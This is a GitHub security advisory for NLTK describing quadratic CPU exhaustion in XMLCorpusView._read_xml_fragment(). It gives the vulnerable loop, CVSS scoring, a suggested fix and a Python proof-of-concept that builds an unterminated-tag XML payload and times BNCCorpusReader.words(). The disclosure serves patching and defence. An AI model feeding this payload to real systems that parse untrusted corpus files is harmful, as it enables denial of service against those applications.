Skip to content

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

Moderate severity GitHub Reviewed Published Aug 12, 2026 in nltk/nltk • Updated Sep 2, 2026

Package

pip nltk (pip)

Affected versions

<= 3.10.2

Patched versions

3.10.3

Description

Summary

XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending
each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment)
on the full accumulated buffer every iteration. Because each iteration rescans the
entire accumulated fragment, the total amount of work grows quadratically with input
size.

Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior
is separate: the loop calls match() once per 1 KiB block, each time on a longer
buffer.

On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds
through the public BNCCorpusReader.words() API with no source modification. Absolute
timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or
iteration count.

Details

File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308

The relevant loop:

fragment = ""
while True:
    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration
    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time
        return fragment
    ...
    last_open_bracket = fragment.rfind("<")
    if last_open_bracket > 0:                      # False for single-'<' payload
        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
            return ...
    # loop continues

For a payload of b'<' + b'a' * (N-1):

  • For this malformed input, _VALID_XML_RE.match(fragment) does not succeed because
    the unterminated tag prevents the expression from matching before EOF.
  • fragment.rfind("<") returns 0; the guard last_open_bracket > 0 is False, so
    the backtrack branch is never taken.
  • The only exit is EOF, after all N bytes are consumed.

Affected readers -> readers that rely on XMLCorpusView, including
BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader,
NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct
XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls
defusedxml.safe_parse().

PoC

Requires only pip install nltk. No corpus data needed.

from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader

SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
    root = Path(directory)
    malformed = root / "unterminated.xml"
    for kib in SIZES_KIB:
        malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
        t = perf_counter()
        try:
            list(BNCCorpusReader(str(root), [malformed.name]).words())
        except ValueError as e:
            assert "tag not closed" in str(e)
        results.append(perf_counter() - t)

print("KiB      seconds   growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
    ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
    print(f"{kib:5d}  {elapsed:9.3f}  {ratio}")

Runtime should increase by approximately fourfold for each doubling of input size,
although absolute timings vary by hardware.

During verification, _VALID_XML_RE.match() was instrumented to record the size of
each input. For a 256 KiB malformed file it was invoked 257 times on monotonically
increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after
EOF. This confirms that every iteration rescans the accumulated fragment.

Impact

Applications that process attacker-controlled XML corpus files through an affected reader
are vulnerable. The attacker needs only write access to a path the reader will open. No
NLTK credentials or special privileges required. Offline tools reading only trusted
local corpora are not at risk.

Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.
Historical inspection indicates the same loop structure has existed since the
introduction of XMLCorpusView (2007), but only the listed versions were
experimentally verified. No patch exists in any published release.

This issue results in CPU exhaustion and may allow denial of service in applications
that process attacker-controlled XML corpus files.

Suggested Fix

Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read.
Incremental parsing, bounded fragment accumulation, or another streaming approach would
eliminate the quadratic behavior while preserving existing semantics.

A regression test should verify that BNCCorpusReader.words() raises ValueError
within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing
test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise
this path.

References

@alvations alvations published to nltk/nltk Aug 12, 2026
Published to the GitHub Advisory Database Sep 2, 2026
Reviewed Sep 2, 2026
Last updated Sep 2, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2026-81723

GHSA ID

GHSA-vp2x-qp44-57v7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.